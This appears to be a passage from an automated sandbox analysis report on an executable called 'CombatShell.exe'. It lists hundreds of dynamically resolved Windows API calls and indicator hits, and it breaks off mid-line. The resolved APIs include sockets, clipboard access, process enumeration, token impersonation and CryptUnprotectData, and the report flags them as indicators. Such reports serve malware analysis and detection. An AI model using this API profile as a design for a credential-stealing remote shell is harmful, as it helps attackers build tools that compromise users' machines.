"CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFinalPathNameByHandleW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetNamedPipeInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetOverlappedResult (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetProcessId (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GlobalSize (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GlobalUnlock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapCompact (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapDestroy (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitOnceBeginInitialize (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitOnceComplete (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LockFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LockFileEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Module32FirstW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Module32NextW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter MoveFileExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter OutputDebugStringA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReadConsoleW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReadFileEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegisterWaitForSingleObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlCaptureContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlLookupFunctionEntry (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetCurrentDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFileTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetHandleInformation (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SystemTimeToTzSpecificLocalTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TlsFree (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TzSpecificLocalTimeToSystemTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter UnlockFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter UnlockFileEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter UnregisterWaitEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter UpdateProcThreadAttribute (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WriteFileEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NCryptFreeObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtCancelIoFileEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtCreateFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtDeviceIoControlFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtOpenFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtOpenProcessToken (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtReadFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtWriteFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlNtStatusToDosError (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AcceptSecurityContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ApplyControlToken (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DragQueryFileW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ShellExecuteW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CloseClipboard (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CountClipboardFormats (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EmptyClipboard (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EnumClipboardFormats (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetClipboardData (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetClipboardFormatNameW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter IsClipboardFormatAvailable (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter MonitorFromPoint (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter OpenClipboard (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegisterClipboardFormatW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetClipboardData (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSACleanup (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSADuplicateSocketW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSAGetLastError (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSAPoll (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSARecvFrom (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSASendMsg (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSASendTo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter accept (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter connect (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter getpeername (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter getsockname (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter getsockopt (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter listen (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter recvfrom (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter sendto (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WakeByAddressAll (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlUnwindEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter __iob_func (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter __setusermatherr (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _amsg_exit (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _beginthreadex (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _endthreadex (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _errno (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _initterm (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _localtime64 (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _lock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter _unlock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter abort (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter calloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter exp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter fwrite (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ldexp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter memcmp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter memcpy (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter memmove (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter memset (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter qsort (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter realloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strcmp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strcspn (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strerror (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strlen (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strncmp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter strrchr (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter vfprintf (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter wcslen (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtProtectVirtualMemory (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AllocConsole (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeConsole (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetStdHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00005644)36:T694,Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "CombatShell.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "CombatShell.exe") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; File: "CombatShell.exe") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; File: "CombatShell.exe") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "CombatShell.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")37:T1183d,Found reference to API (Indicator: "VirtualQuery"; File: "CombatShell.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "CombatShell.exe") Found reference to API (Indicator: "RaiseException"; File: "CombatShell.exe") Found reference to API (Indicator: "VirtualProtect"; File: "CombatShell.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "CombatShell.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "CombatShell.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "CombatShell.exe") Found reference to API (Indicator: "RevertToSelf"; File: "CombatShell.exe") Found reference to API (Indicator: "ImpersonateAnonymousToken"; File: "CombatShell.exe") Found reference to API (Indicator: "BCryptGenRandom"; File: "CombatShell.exe") Found reference to API (Indicator: "DeleteObject"; File: "CombatShell.exe") Found reference to API (Indicator: "GetObjectW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetDIBits"; File: "CombatShell.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "CombatShell.exe") Found reference to API (Indicator: "GetProcAddress"; File: "CombatShell.exe") Found reference to API (Indicator: "InitOnceBeginInitialize"; File: "CombatShell.exe") Found reference to API (Indicator: "ReadFile"; File: "CombatShell.exe") Found reference to API (Indicator: "HeapFree"; File: "CombatShell.exe") Found reference to API (Indicator: "RegisterWaitForSingleObject"; File: "CombatShell.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "CombatShell.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "CombatShell.exe") Found reference to API (Indicator: "CopyFileExW"; File: "CombatShell.exe") Found reference to API (Indicator: "GlobalFree"; File: "CombatShell.exe") Found reference to API (Indicator: "SetFileTime"; File: "CombatShell.exe") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; File: "CombatShell.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "CombatShell.exe") Found reference to API (Indicator: "GetTempPathW"; File: "CombatShell.exe") Found reference to API (Indicator: "GlobalLock"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "CombatShell.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "CombatShell.exe") Found reference to API (Indicator: "GetOverlappedResult"; File: "CombatShell.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "CombatShell.exe") Found reference to API (Indicator: "UnregisterWaitEx"; File: "CombatShell.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "CombatShell.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "CombatShell.exe") Found reference to API (Indicator: "Sleep"; File: "CombatShell.exe") Found reference to API (Indicator: "InitOnceComplete"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "CombatShell.exe") Found reference to API (Indicator: "SleepEx"; File: "CombatShell.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "CombatShell.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "FindClose"; File: "CombatShell.exe") Found reference to API (Indicator: "CancelIo"; File: "CombatShell.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "CombatShell.exe") Found reference to API (Indicator: "CloseHandle"; File: "CombatShell.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "CombatShell.exe") Found reference to API (Indicator: "UnlockFile"; File: "CombatShell.exe") Found reference to API (Indicator: "TlsAlloc"; File: "CombatShell.exe") Found reference to API (Indicator: "DisconnectNamedPipe"; File: "CombatShell.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "CombatShell.exe") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "CombatShell.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "CombatShell.exe") Found reference to API (Indicator: "SetConsoleMode"; File: "CombatShell.exe") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "CombatShell.exe") Found reference to API (Indicator: "FreeLibrary"; File: "CombatShell.exe") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "CombatShell.exe") Found reference to API (Indicator: "TlsSetValue"; File: "CombatShell.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "CombatShell.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "CombatShell.exe") Found reference to API (Indicator: "SwitchToThread"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateFileMappingA"; File: "CombatShell.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "CombatShell.exe") Found reference to API (Indicator: "GetLastError"; File: "CombatShell.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "CombatShell.exe") Found reference to API (Indicator: "SetHandleInformation"; File: "CombatShell.exe") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateThread"; File: "CombatShell.exe") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "CombatShell.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "CombatShell.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "CombatShell.exe") Found reference to API (Indicator: "GetProcessId"; File: "CombatShell.exe") Found reference to API (Indicator: "TlsFree"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFileType"; File: "CombatShell.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "CombatShell.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "CombatShell.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "CombatShell.exe") Found reference to API (Indicator: "MoveFileExW"; File: "CombatShell.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "CombatShell.exe") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "CombatShell.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "CombatShell.exe") Found reference to API (Indicator: "ReadFileEx"; File: "CombatShell.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "CombatShell.exe") Found reference to API (Indicator: "UpdateProcThreadAttribute"; File: "CombatShell.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "CombatShell.exe") Found reference to API (Indicator: "CreateNamedPipeW"; File: "CombatShell.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "CombatShell.exe") Found reference to 